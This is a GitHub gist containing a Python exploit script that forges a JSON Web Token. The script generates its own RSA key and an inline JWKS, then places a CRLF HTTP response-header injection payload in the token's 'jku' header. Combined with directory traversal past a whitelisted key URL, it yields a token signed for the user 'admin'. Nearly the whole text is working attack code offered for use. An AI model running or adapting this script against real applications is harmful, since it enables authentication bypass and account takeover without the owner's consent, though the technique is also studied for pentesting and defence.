Skip to content

Instantly share code, notes, and snippets.

@imparabl3
Last active November 1, 2022 03:11
  • Star 6 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save imparabl3/efcf4a991244b9f8f99ac39a7c8cfe6f to your computer and use it in GitHub Desktop.
Creating JWT with HTTP response Header Injection
#!/usr/lib/env python3
# For more description with other attacks check out my BLOG ==> https://imparable.medium.com/attacking-json-web-tokens-jwts-d1d51a1e17cb
import OpenSSL
import base64
import json
import hashlib
import urllib
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
# Creating Private Key
key = OpenSSL.crypto.PKey()
key.generate_key(type=OpenSSL.crypto.TYPE_RSA,bits=2048)
priv = key.to_cryptography_key()
# Creating Public Key
pub = priv.public_key()
# Creating "n" and "e" attributes for JWK
n = pub.public_numbers().n
e = pub.public_numbers().e
e = base64.urlsafe_b64encode((e).to_bytes((e).bit_length()//8+1, byteorder='big')).decode('UTF-8').rstrip("=")
n = base64.urlsafe_b64encode((n).to_bytes((n).bit_length()//8+1, byteorder='big')).decode('UTF-8').rstrip("=")
# Public keys in JSON format
jwks = { "keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "imparable",
"n": n,
"e": e,
"alg": "RS256"
}
]
}
jwk = json.dumps(jwks)
### ====================
# Suppose if an Application is checking for this URL in "jku" Header ==> https://trustedsite.com/.well-known/jwks.json
# And you found a HTTP response Header injection in ==> https://application.com/endpoint?id=value
# Here "id" parameter is vulnerable and now you can combine this path with the whitelisted "jku" URL to craft the exploit:
# For example: Crafted URL ==> https://trustedsite.com/.well-known/jwks.json/../../endpoint?id=value
# Note: This exploit would not be possible without directory traversal attack.
### ====================
# Paste your Crafted URL like explained above and Content-Length header will be set to the correct value and inline JWKS
payload = "<Crafted URL>%0d%0aContent-Length:%20"+ str(len(jwk)) + "%0d%0a%0d%0a" + str(urllib.parse.quote(jwk))
# Header section of JWT
header = {"typ":"JWT","alg":"RS256","jku":""}
# Paste your Payload section of JWT
body = {"username":"admin"}
# Adding payload in "jku" parameter
header["jku"] = payload
# Encoding Header and Payload section of JWT
enc_header = base64.urlsafe_b64encode(bytes(json.dumps(header), encoding="UTF-8")).decode('UTF-8').rstrip("=")
enc_body = base64.urlsafe_b64encode(bytes(json.dumps(body), encoding="UTF-8")).decode('UTF-8').rstrip("=")
# Concatenation of encoded Header and Payload
token = (enc_header + "." + enc_body)
# Creating Signature
sig = priv.sign(bytes(token, encoding="UTF-8"), algorithm=hashes.SHA256(), padding=padding.PKCS1v15())
# Printing final JWT
print(token + "." + base64.urlsafe_b64encode(sig).decode("UTF-8").rstrip("="))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment